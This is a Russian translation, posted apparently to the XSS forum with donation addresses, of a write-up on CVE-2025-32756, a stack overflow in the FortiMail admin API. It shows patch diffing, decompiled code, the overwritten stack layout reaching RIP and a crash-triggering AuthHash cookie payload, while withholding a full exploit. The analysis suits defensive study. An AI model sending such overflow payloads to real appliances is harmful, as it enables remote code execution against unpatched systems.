CVE-2025-32756: Джинсы с низкой посадкой вернулись, а вместе с ними — и переполнения буфера
13 мая 2025 года FortiGuard Labs опубликовала бюллетень с подробным описанием уязвимости CVE-2025-32756, которая затрагивает ряд продуктов Fortinet:
- FortiCamera
- FortiMail
- FortiNDR
- FortiRecorder
- FortiVoice
В своем бюллетене FortiGuard Labs заявляет, что Fortinet зафиксировала эксплуатацию этой уязвимости в реальных условиях. На следующий день, 14 мая, уязвимость была добавлена в каталог KEV от cisa[.]
Уязвимость описывается как переполнение буфера на основе стека в административном API, которое может привести к удаленному выполнению кода без аутентификации. Учитывая, что она активно эксплуатируется, мы решили взглянуть на нее поближе. Если вы предпочитаете сразу запустить тест, а не читать этот разбор, то поддержка уязвимости уже доступна в NodeZero.
В поисках зацепок
Для реверс-инжиниринга мы решили изучить пропатченную и непропатченную версии FortiMail. Индикаторы компрометации (IOC), перечисленные в бюллетене, дают нам несколько подсказок, с чего начать.
Логи, показанные здесь, говорят нам о паре важных вещей:
- Мы ищем способ выполнить бинарный файл CGI
admin.fe. - Веб-сервер использует
mod_fcgid, что немного облегчает нам жизнь при попытке эксплуатации, так как маловероятно, что неудачные попытки обрушат весь процесс httpd и заблокируют нам доступ к приложению.
Из конфигурационного файла веб-сервера (
httpd.conf) мы находим нашу точку входа:ScriptAlias /module/ "/migadmin/www/fcgi/"Быстрый запрос с помощью
curl подтверждает, что мы можем достучаться до эндпоинта admin.fe:
Bash:
# curl -k -L -v https://REDACTED/module/admin.fe
< HTTP/1.1 200 OK
< Date: Tue, 20 May 2025 23:17:44 GMT
< Cache-Control: no-cache
< Strict-Transport-Security: max-age=31536000; includeSubDomains
< Set-Cookie: APSCOOKIE_ffbe3e4d0e3350075e9c91f574e799cc=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: ParamStr=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: mTime=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: logLevel=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: logType=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: logStartline=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: logDomain=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: totalLineNumber=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Set-Cookie: SearchResultFile=; Expires=Fri, 01-Jan-1971 01:00:00 GMT;; Path=/; Version=1; Secure; HttpOnly
< Vary: Accept-Encoding
< X-XSS-Protection: 1; mode=block
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< Content-Security-Policy: script-src 'self'; object-src 'none'; frame-ancestors 'self' https://*.fortimailcloud.com/ https://fortimail.forticloud.com/
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
{"errorType": 7,"errorMsg": "Failed: Access denied","reqAction": 0,"totalRemoteCount": 0,"collection": "[]"}
К сожалению, при попытке сравнить (
diff) admin.fe между пропатченной и непропатченной версиями... мы обнаружили, что бинарные файлы идентичны. Это означает, что уязвимость, скорее всего, находится в разделяемой библиотеке, так что пришло время вскрывать потроха.Засучив рукава
Окно импортов в Ghidra
Окно импортов в Ghidra
Ох. Мерзость. Библиотека boost... что, скорее всего, означает C++... Вместо того чтобы биться головой о стену следующие несколько часов, мы попросили помощи у ChatGPT через мост Ghidra-MCP и Github Copilot.
Присмотревшись к функции, которую нам порекомендовали, мы замечаем знакомую строку:
APSCOOKIE. Если вы вернетесь к нашему предыдущему тесту с curl, то заметите, что один из возвращенных cookie имел именно это значение.Если немного поиграться с веб-интерфейсом администратора, вы начнете видеть периодические запросы к эндпоинту
admin.fe, которые содержат это значение APSCOOKIE, по-видимому, используемое для управления сессией.
После декодирования значения этого cookie мы получаем:
Era=0&Payload=qCStu1vT3v+Y++5pCCs9M/CxxddCRrC8SHg+9cfRCA42GU7Cf+8p3iBFSl/4vHteSGePZgk7KGMb8kzRR5c2boDUfiiD65jkByiD3DuRCj1NJR7ESpZQIZlOffSxykRbCTp5l3InoU+q6psG+ve+IRDk9za5K0No9T5RNxCwZxM=&AuthHash=kz4cHPsgudYxy4PPp123FUto=&APSCOOKIE содержит следующие URL-закодированные поля:- Era
- Payload
- AuthHash
Отличные кандидаты, чтобы начать по ним
grep-ать.
Bash:
$ grep -rl "Era" ./762 | xargs grep -rl "Payload" | xargs grep -rl "AuthHash"
rootfs/lib/libhttputil.so
$ diff 762/rootfs/lib/libhttputil.so 763/rootfs/lib/libhttputil.so
Binary files 762/rootfs/lib/libhttputil.so and 763/rootfs/lib/libhttputil.so differ
Учитывая, что есть только один файл с этими значениями, и он отличается между пропатченной и уязвимой версиями продуктов, весьма вероятно, мы нашли виновника.
Загрузив обе версии в Ghidra, мы видим, что все эти строки упоминаются в функции
cookieval_unwrap(). Мы решили дать нашим мозгам отдохнуть и посмотреть, как далеко нас заведет наш маленький ИИ-помощник.
Неплохо для первого ответа. Давайте продолжим.
оригинал
К сожалению, после этого ответы становятся все менее и менее надежными, так что давайте сосредоточимся на старом добром ручном анализе, используя наблюдения ChatGPT как отправную точку.
Пробежавшись по функции,
cookieval_unwrap() похоже, предназначена для выполнения base64-декодирования каждого поля ASPCOOKIE и записи результата обратно во входной буфер. Поскольку ожидается, что Era будет одной цифрой, сосредоточим наши усилия на Payload и AuthHash. Мы просмотрим декомпиляции пропатченной и непропатченной версий функции, чтобы отследить ссылки на каждое из этих значений.
C:
----------
Unpatched:
----------
size_t input_size;
size_t __size;
uchar *AuthHash;
uchar *Payload;
long output_buffer [2];
out_00 = (uchar *)malloc(__size);
iVar2 = __isoc99_sscanf(param_1,"Era=%1d&Payload=%m[^&]&AuthHash=%m[^&]&",&Era,&Payload, &AuthHash);
input_size = strlen((char *)AuthHash);
__size = strlen((char *)Payload);
iVar3 = EVP_DecodeUpdate(ctx,(uchar *)output_buffer,&output_size,AuthHash,(int)input_size);
iVar2 = EVP_DecodeUpdate(ctx,out_00,&local_94,Payload,iVar2);
----------
Patched:
----------
size_t input_size;
size_t __size;
uchar *AuthHash;
uchar *Payload;
long output_buffer [2];
out_00 = (uchar *)malloc(__size);
iVar2 = __isoc99_sscanf(param_1,"Era=%1d&Payload=%m[^&]&AuthHash=%m[^&]&",&Era,&Payload, &AuthHash);
input_size = strlen((char *)AuthHash);
__size = strlen((char *)Payload);
input_size = strlen((char *)AuthHash);
if (input_size < 0x1e) { // <-- ПРОВЕРКА РАЗМЕРА
iVar3 = EVP_DecodeUpdate(ctx,(uchar *)output_buffer,&output_size,AuthHash,(int)input_size);
iVar2 = EVP_DecodeUpdate(ctx,out_00,&local_94,Payload,iVar2);
Ключевое различие между пропатченной и непропатченной функцией, по-видимому, заключается в проверке размера для предоставленного пользователем значения
AuthHash. В оригинальной версии мы видим, что AuthHash декодируется и записывается в output_buffer, который рассчитан всего на 16 байт. В пропатченной версии мы видим, что добавленная проверка размера ограничивает объем данных, которые пользователь может отправить в этом значении. По сути, теперь мы знаем, что memcpy(), на который указал ChatGPT, не совсем корректен, и реальное переполнение происходит из-за вызова EVP_DecodeUpdate(), который записывает данные за пределы области, выделенной для декодированного значения AuthHash.Теперь мы знаем, где происходит переполнение, но сколько контроля это нам дает? Давайте посмотрим на распределение стека, начиная с нашего выходного буфера:
Код:
RSP+0x50 : local_78 (16 bytes) <- Начало переполнения
RSP+0x60 : local_68 (4 bytes) <- Перезаписано
RSP+0x70 : local_58 (16 bytes) <- Перезаписано
RSP+0x80 : local_48 (16 bytes) <- Перезаписано
RSP+0x90 : saved RBX <- Перезаписано ---v
RSP+0x98 : saved RBP <- Перезаписано |
RSP+0xA0 : saved R12 <- Перезаписано | (Сохранены в прологе функции)
RSP+0xA8 : saved R13 <- Перезаписано |
RSP+0xB0 : saved R14 <- Перезаписано |
RSP+0xB8 : saved R15 <- Перезаписано ---^
RSP+0xC0 : return address (RIP) <- Перезаписано
По мере выполнения программы эти значения на стеке остаются нетронутыми до тех пор, пока они снова не будут использованы вызовом
memcpy(). Этот вызов memcpy() использует значения, которые мы уже контролируем, что может быть полезно при создании рабочего эксплойта, но в это не обязательно углубляться сейчас, поскольку мы уже контролируем значение, которое будет записано в RIP в эпилоге функции.Давайте начнем отправлять мусорные данные и посмотрим, что произойдет! Поскольку
AuthHash должен быть валидным base64, давайте отправим кучу NULL-символов, правильно закодированных.AuthHash%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%3D%3D
Выглядит многообещающе. После нескольких проб и ошибок с шаблонными полезными нагрузками (cyclic payloads) мы можем определить следующее:
Учитывая, насколько редкими и устаревшими стали простые проблемы повреждения памяти, подобные этой, в наше время, было приятно вернуться к старым добрым хакерским техникам из 90-х.Заключение
Учитывая, что эта уязвимость активно эксплуатируется и в открытом доступе в интернете находится множество уязвимых систем, мы решили не публиковать эксплойт, ограничившись этим простым доказательством концепции (PoC). Бюллетень FortiGuard Labs содержит достаточно информации о ценных индикаторах компрометации, а также подробные сведения о мерах по смягчению последствий. Учитывая простоту эксплуатации, мы рекомендуем всем пользователям обновиться или применить меры по смягчению как можно скорее.
Поддержка этой уязвимости добавлена в NodeZero и доступна уже сейчас.
Перевод подготовлен с любовью S3VE7N для комьюнити XSS 
Поддержать автора и будущие переводы:
BTC:
Код:
bc1qktt7uhzptuvfv4dqqd634m0jzk4345p09xlkcj
Код:
0xd8fDa0D2aa5AE187968041306c7f28618744221B
Код:
ltc1qvl8w6nguls78tze5xlf9x5wxd3h6pwl0x2nm7j
SOURCE
